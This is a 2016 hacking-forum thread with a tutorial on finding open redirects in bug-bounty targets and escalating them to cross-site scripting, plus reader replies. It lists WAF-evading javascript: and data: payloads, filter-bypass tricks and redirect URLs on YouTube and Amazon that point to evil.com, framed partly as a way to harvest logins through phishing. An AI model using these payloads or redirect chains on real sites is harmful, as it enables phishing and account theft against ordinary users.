![]() |
|
[Tutorial] Utilizing Open Redirection in bounties for $$$ - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45) +--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449) +---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43) +---- Thread: [Tutorial] Utilizing Open Redirection in bounties for $$$ (/showthread.php?tid=5477945) |
[Tutorial] Utilizing Open Redirection in bounties for $$$ - pop.pop.ret - Nov 28, 2016 Utilizing Open Redirects in bug bounties for $$$
![]() Introduction: This is just a quick post describing some useful tips for identifying open redirect vulnerabilities and also how to utilize them to create more severe vulnerabilities. I originally posted this in the Notorious subforum, but I will be reposting here. Although they are low risk vulnerabilities, there are still many bounty programmes that give payouts for them, and generally they can be turned into XSS pretty easily which allows a payout on practically all programmes, here are some examples of programmes that pay for open redirects: shopify - $500 okta - $500 teslamotors - $500 Open redirects (for anyone who doesn't know) are simply links where you can specify a link to a remote URL from a trusted URL and it will redirect the user there without a warning, which can lead to spear phishing among other risks, here is an example (for some reason it won't let me post the direct link): Quote:accounts.youtube.com/accounts/SetSID?ilo=1&ils=a4cc1b7ed445598f16cef403bb3b0311&ilc=0&continue=https://maps.app.goo.gl/?link=http://evil.com in this case, an attacker could redirect from accounts.youtube.com to a phishing site such as accountsyoutube.com
of course there are many many more, but you get the idea ![]() Bypass Techniques: next, I'll move onto some methods for redirection (other than simply linking to the URL) :
* replace [percent] with % the 0a, 0d is actually zero's and not O's - HF's firewall blocked me. In addition to the above, another method that can allow you abuse open redirects is HTTP parameter pollution, for example if the vulnerable URL is example.com/redir.php?url=http://evil.com but it doesn't redirect then you could attempt to call the same GET param twice e.g. example.com/redir.php?url=http://evil.com&url=http://evil.com/ I've also seen redirects where redirecting to a URL is disallowed but redirection to direct IP address works fine. ![]() Turning Redirects into XSS: Now, a redirect is all good but ideally you want to be aiming for content forgery or XSS (also SSRF, but I'll get into this in another post) in order to increase your payout, I will next detail some methods of doing so. Here is the most obvious one, direct redirect to js:// uri schema Code javascript:alert(1337)Code javascript:alert.call(this,%20document.domain)If parenthesis trigger WAF, you can use template strings: Code javascript:confirm`1337`Code javascript:prompt`${document.domain}`Code setInterval`alert\%0A28document.domain\%0A29`//Code javascr%0a%0dipt%0a%0d:alert`1337`Code ";alert(0);//Code '-confirm(0)-'Code "-confirm(0)-"Code data:text/html,<\script\>(1337)</\script\>*If the HTML tags are triggering a WAF response, then you can also base64 encode the input for the URI like so: Code data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==Now it should be noted that the method above using data: is technically not XSS (as the script is loaded within a null context rather than the context of the target site) it can still be used for spear phishing among other things and poses more of a risk than a regular open redirect (although a lesser risk than XSS) - It should also be noted that if padding is added to the URI then you can make the browser display 'data:' or even a blank address bar, which looks like suspicious than a bunch of base64 encoded inputs. With some extra tricks you can also make it look like its displaying the valid origin URL (e.g. http://example.com/data:text/html;base64,blahblah) which can easily trick the regular computer user. ![]() Live Example: Here is a live example of how an open redirect could be utilized to perform an attack on a large or popular website in order to harvest logins (just loading evil.com in this example rather than a live attack - this will not trigger in chrome, will display ERR_UNSAFE_REDIRECT error, use firefox instead): Code https://www.amazon.com/gp/navigation/redirect?ie=UTF8&url=data:text/html;base64,PGlmcmFtZSBzcmM9aHR0cDovL2V2aWwuY29tIHdpZHRoPTEwMDAgaGVpZ2h0PTEwMDAgZnJhbWVib3JkZXI9MD5odHRwOi8vZXZpbC5jb208L2lmcmFtZT4=If HF breaks the URL then use the following link for the live example: Quote:http://pastebin.com/raw/1mH7T83r Hope you guys learned a thing or two from this. If you have any suggestions for more tutorials I can make on web-based or network hacking then feel free to let me know and i'll get around to it :) ![]() * - libc - Nov 28, 2016 Nice tutorials, been over a year since I've seen an actual HQ one. Too bad no one on this forum gives a shit unless the entire exploitation process is completely automated and abstracted though. * - semendaemon - Nov 28, 2016 it's a bit better than the normal stuff, but can still be improved. One major hit case with Open Redirects that everyone misses is the possibility to escalate it to HTTP Response Splitting which can yield better results. * - pop.pop.ret - Nov 29, 2016 (Nov 28, 2016 11:06 PM)semendaemon Wrote: it's a bit better than the normal stuff, but can still be improved. One major hit case with Open Redirects that everyone misses is the possibility to escalate it to HTTP Response Splitting which can yield better results. Well I brought up CRLF at least :) but yea always good to test for that. SSRF is nice to test for with redirect param also (Nov 28, 2016 07:19 PM)libc Wrote: Nice tutorials, been over a year since I've seen an actual HQ one. Thanks. Yea I've noticed ppl here rely too heavily on automated tools. Seen ppl release pretty useless tools and get a bunch of +rep then in my case I've had more as much negative as I have positive. Oh well lol * - ChamboSlice - Nov 29, 2016 Wow that's legit AF... lol Thanks for the contribution mate! * - Shaggy - Nov 29, 2016 Have any tips Used : %00 and%OA%OD but url changes it to http://invalid.invalid/subdomain * - ๖ۣۜCriminal - Nov 29, 2016 Vouch for my boy here knows his shit a good tutorial for this section which doesn't really have any. * - SIM-1073426 - Nov 29, 2016 Nice tutorial, it's a basic vulnerability as you stated but you made up for it by explaining it well. * - xx 0x0 xx - Nov 30, 2016 good and customized tutorial nice work bro :) * - The_Defiant_One - Nov 30, 2016 Very nice info here. Thanks for sharing. * - pop.pop.ret - Dec 9, 2016 (Nov 29, 2016 01:36 PM)czzylle Wrote: Have any tips Link me the site and I'll see what I can do And thanks for the feedback ppl :) * - lolbott - Dec 9, 2016 Nice tut bro. Have some good and useful cheat sheets. |